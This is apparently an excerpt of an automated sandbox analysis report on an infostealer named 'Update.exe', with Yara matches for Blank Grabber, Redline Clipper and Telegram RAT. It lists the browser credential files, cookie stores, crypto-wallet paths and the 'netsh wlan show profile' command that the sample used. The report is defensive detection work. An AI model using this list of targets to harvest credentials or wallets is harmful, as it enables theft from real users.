Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F7D010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_00007FF623F7D010
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F95E7C _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation, 0_2_00007FF623F95E7C
Source: C:\Users\user\Desktop\Update.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Uses netsh to modify the Windows network and firewall settings
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\System32\wbem\WMIC.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information
barindex
Yara detected Blank Grabber
Source: Yara match File source: 00000000.00000003.1665851600.0000019DCB065000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1978245137.000002D8F6B8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1677786789.000002D8F6114000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1983440735.000002D8F6364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1665851600.0000019DCB063000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1979523024.000002D8F6364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Update.exe PID: 6852, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Update.exe PID: 1184, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\_MEI68522\rarreg.key, type: DROPPED
Yara detected Redline Clipper
Source: Yara match File source: 23.0.lf6o4T3T.exe.970000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000017.00000000.1700631224.0000000000972000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.1703505307.0000000003250000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe, type: DROPPED
Yara detected Telegram RAT
Source: Yara match File source: Process Memory Space: Update.exe PID: 1184, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: Update.exe, 00000001.00000002.1984842868.000002D8F69F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: com.liberty.jaxx
Source: Update.exe, 00000001.00000002.1984746664.000002D8F68A0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: Update.exe, 00000001.00000002.1984746664.000002D8F68A0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: Exodus
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: Ethereum
Source: Update.exe, 00000001.00000002.1984746664.000002D8F68A0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: Update.exe, 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: keystore
Tries to harvest and steal WLAN passwords
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1 Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2 Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25 Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10 Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875 Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\Update.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Update.exe PID: 1184, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Blank Grabber
Source: Yara match File source: 00000000.00000003.1665851600.0000019DCB065000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1982892072.000002D8F5F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1978245137.000002D8F6B8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1677786789.000002D8F6114000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1983440735.000002D8F6364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1678909991.000002D8F6139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1665851600.0000019DCB063000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1979523024.000002D8F6364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Update.exe PID: 6852, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Update.exe PID: 1184, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\_MEI68522\rarreg.key, type: DROPPED
Yara detected Telegram RAT
Source: Yara match File source: Process Memory Space: Update.exe PID: 1184, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
